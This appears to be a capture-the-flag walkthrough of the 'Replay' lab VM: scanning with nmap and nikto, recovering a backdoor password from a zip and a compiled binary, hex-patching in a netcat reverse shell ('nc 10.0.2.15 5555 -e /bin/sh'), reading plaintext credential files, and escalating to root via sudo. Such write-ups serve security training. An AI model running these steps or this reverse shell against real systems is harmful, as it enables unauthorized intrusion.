

replay

Netdiscover

Currently scanning: Finished! | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:b0:14:04	1	60	PCS Systemtechnik GmbH
10.0.2.39	08:00:27:2f:48:85	1	60	PCS Systemtechnik GmbH

Nmap

```
root@kali:~/replay# nmap -A -T4 -p- -sV -oN nmap.txt 10.0.2.39
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-03 21:55 +08
Nmap scan report for replay.local (10.0.2.39)
Host is up (0.00016s latency).
Not shown: 65532 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
|   2048 54:35:aa:49:eb:90:09:a1:28:f3:0c:9a:fb:01:52:0d (RSA)
|   256  e7:0b:6e:52:00:51:74:11:b6:cd:c6:cf:25:3a:1b:84 (ECDSA)
|_  256  3b:38:da:d7:16:23:64:68:8f:52:12:8a:14:07:6a:53 (ED25519)
80/tcp    open  http     Apache httpd 2.4.25 ((Debian))
|_ http-robots.txt: 1 disallowed entry
|_ /bob_bd.zip
|_ http-server-header: Apache/2.4.25 (Debian)
|_ http-title: Site doesn't have a title (text/html).
1337/tcp  open  waste?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, Help, Kerberos, SMBProgNeg, SSLSessionReq, TLSSessionReq:
|   CH1:
|     Auth Failed Closing Connection... =-
|     Auth Failed Closing Connection... =-
|   GenericLines, NULL:
|   CH1:
|   HTTPOptions, RPCCheck, RTSPRequest:
|     Auth Failed Closing Connection... =-
|     CH1:
|_    Auth Failed Closing Connection... =-
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint
at https://nmap.org/cgi-bin/submit.cgi?new-service :
```

nikto

```

- Nikto v2.1.6
-----
+ Target IP:      10.0.2.39
+ Target Hostname: 10.0.2.39
+ Target Port:    80
+ Start Time:     2019-04-03 22:17:48 (GMT8)
-----
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/bob_bd.zip' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Server may leak inodes via ETags, header found with file /, inode: 430, size: 57c5ala9d26e8, mtime: gzip
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET
+ OSVDB-3268: /files/: Directory indexing found.
+ OSVDB-3092: /files/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7916 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:      2019-04-03 22:18:11 (GMT8) (23 seconds)
-----
+ 1 host(s) tested
root@kali:~/replay#

```

Curl/unzip/base64 -d contents of bob_bd.zip

```

V3 [All wrapped up in a neat bow]:
+ Added a cool security challenge system to stop hackers
+ I am now compiling the python file into .bins
+ Added b64 system to improve security
Ti5ULLMgQWRkZWQgMm5kIGhhbGYgb2YgcGFzc3dvcmQgaW50byB0aGUgYmFja2Rvb3Igc28gaWYgeW91IGZvcmdldCB0aGF0J3Mgd2hlcmUgaXQgaXMgZnVydHVyZSBtZS4gRW5kIG9mIGxvZW==

```

```

root@kali:~/replay# echo 'Ti5ULLMgQWRkZWQgMm5kIGhhbGYgb2YgcGFzc3dvcmQgaW50byB0aGUgYmFja2Rvb3Igc28gaWYgeW91IGZvcmdldCB0aGF0J3Mgd2hlcmUgaXQgaXMgZnVydHVyZSBtZS4gRW5kIG9mIGxvZW==
> ' | base64 -d
N.T.S Added 2nd half of password into the backdoor so if you forget that's where it is
furture me. End of logroot@kali:~/replay#

```

N.T.S Added 2nd half of password into the backdoor so if you forget that's where it is furture me. End of log

Strings client.bin

```

/home/c0rruptedblt/MEGA/Projects And Operations/Project Replay/scripts/client.pydat
aIP: outputAF_INETEnter Password: sendmsgkeyencodexornotes00admincmd;echo Hello Wor
ld, you are currently running as: ;whoamidecodestring--=====NOTES=====-- +Buy n
ew milk (the current one is chunky) +2nd half of password is: h0TAIRNXuQcDu9Lqsyul
+Find a new job +Call mom =====[END]=====commandlettersrecvoschoicesystem-= TERMINA
TING CONNECTION -=
client_socketrandominputstrclearaw_inputCommand to be executed: replacejointimebas
e64
?exit1230012300admincmd;SOCK_STREAMconnectsleepoutdataappendXORtmpAttempting to con
nect...(
Definitely the password I swear -> password123 <- Definitely the password I swearty
pesbye<module>encodestringnum>Hello there you're not being naughty are you? bob_pas
s123456789rblensumiterlongnameopenreadreprsitelevelrangeformatlocalsxrange__all__
cmp__doc__compileglobalsinspect__dict____exit____file____iter____main____name__
path__exc_typefromlist__class____enter____ bytearray__exc_value__import__module__del
attr__getattr__package__setattr__classmethod__builtins__staticmethod__metaccla
ss__exc_traceback/usr/bin/python2
GCC: (Debian 8.2.0-6) 8.2.0

```




Flag 1 Source code of index.html

```
<!-- P1:qGQjw04h6g -->
```

```
password: qGQjw04h6g(source website) + h0TAIRNXuQcDu9Lqsyul(strings)
qGQjw04h6gh0TAIRNXuQcDu9Lqsyul
```

Web Dir enum Nothing Special

Index of /files

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 CV.odt	2018-12-06 07:10	13K	
 cool.ttf	2018-12-06 07:23	123K	

Apache/2.4.25 (Debian) Server at replay.local Port 80

Attempting to connect client.bin from bob_bd.zip Failed

```
IP: 10.0.2.39
Enter Password: qGQjw04h6gfuture me
Command to be executed: echo Hello World, you are currently running as: ;whoami

CH1:
Attempting to connect...

-= Auth Failed Closing Connection... =-

Traceback (most recent call last):
  File "/home/c0rruptedblt/MEGA/Projects And Operations/Project Replay/scripts/client.py", line 81, in <module>
    File "/home/c0rruptedblt/MEGA/Projects And Operations/Project Replay/scripts/client.py", line 22, in sendmsg
socket.error: [Errno 32] Broken pipe
```

With correct pass from flag1 and strings

```
CH3:PASS

-= Access Granted =-

Welcome Back Admin
Press Ctrl+C To Close Connection
Enter a Command:
Hello World, you are currently running as:
bob

Command Executed

:
```

Since command is hardcoded in client.bin, hexedit

000254E0	64 6D 69 6E	63 6D 64 3B	6E 63 20 31	30 2E 30 2E	dmincmd;nc 10.0.
000254F0	32 2E 31 35	20 35 35 35	35 20 2D 65	20 2F 62 69	2.15 5555 -e /bi
00025500	6E 2F 73 68	3B 72 65 6E	74 6C 79 20	72 75 6E 6E	n/sh;rently runn

ASCII to Hex text converter

Enter **ASCII text** and press the **Convert** button:

```
nc 10.0.2.15 5555 -e /bin/sh;
```

I

Enter optional delimiter string (e.g: ' ', '0x', ',0x', 'h,'):

↻ Convert

✖ Reset

↕ Swap

```
6e 63 20 31 30 2e 30 2e 32 2e 31 35 20 35 35 35 35 20  
2d 65 20 2f 62 69 6e 2f 73 68 3b
```

Local enumeration

suid Nothing Special


```
bob@replay:~$ find / -type f -perm -4000 2> /dev/null
find / -type f -perm -4000 2> /dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/passwd
/usr/lib/xorg/Xorg.wrap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/kde4/libexec/fileshareset
/usr/lib/eject/dmccrypt-get-device
/usr/sbin/pppd
/bin/ntfs-3g
/bin/fusermount
/bin/su
/bin/mount
/bin/umount
/bin/ping
```

sgid Nothing Special

```
bob@replay:~$ find / -type f -perm -6000 2> /dev/null
find / -type f -perm -6000 2> /dev/null
/usr/lib/xorg/Xorg.wrap
bob@replay:~$
```

bob is part of sudo

```
bob@replay:~/Documents/.ftp$ groups bob
groups bob
bob : bob cdrom floppy sudo audio dip video plugdev netdev bluetooth lpadmin scanner
bob@replay:~/Documents/.ftp$
```

listener.py Confirms our password

```
result = ""
ch1 = "qGQjw04h6gh0TAIRNXuQcDu9Lqsyul"
nums = []
tmp_n = 0
```

notes.txt

```
bob@replay:~/Documents$ cat notes.txt
cat notes.txt
-= NOTES =-

+ use nuitka to compile py
+ Backdoor password is: qGQjw04h6gh0TAIRNXuQcDu9Lqsyul
+ Call mom
+ Buy milk |URGENT|
+ Find a new job
+ Python2.7 for listener
+ I wonder if using unicode symbols would work for passwords?
bob@replay:~/Documents$ █
```

passwd for bob

```
bob@replay:~/Documents/.ftp$ cat users.passwd
cat users.passwd
bob:b0bcat_1234567890:1100:1100::/ftp:/bin/false
bob@replay:~/Documents/.ftp$ █
```

sudo to root

```
bob@replay:~$ sudo su
[sudo] password for bob:
root@replay:/home/bob# cd /root
root@replay:~# ls -Flah
total 36K
drwx-----  3 root root 4.0K Apr  5 11:56 ./
drwxr-xr-x 22 root root 4.0K Dec  6 17:36 ../
-rw-----  1 root root 5.2K Apr  5 11:56 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
-rw-----  1 root root   32 Apr  5 11:38 .lessht
drwxr-xr-x  2 root root 4.0K Dec  6 03:13 .nano/
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   66 Dec  6 17:31 .selected_editor
root@replay:~# █
```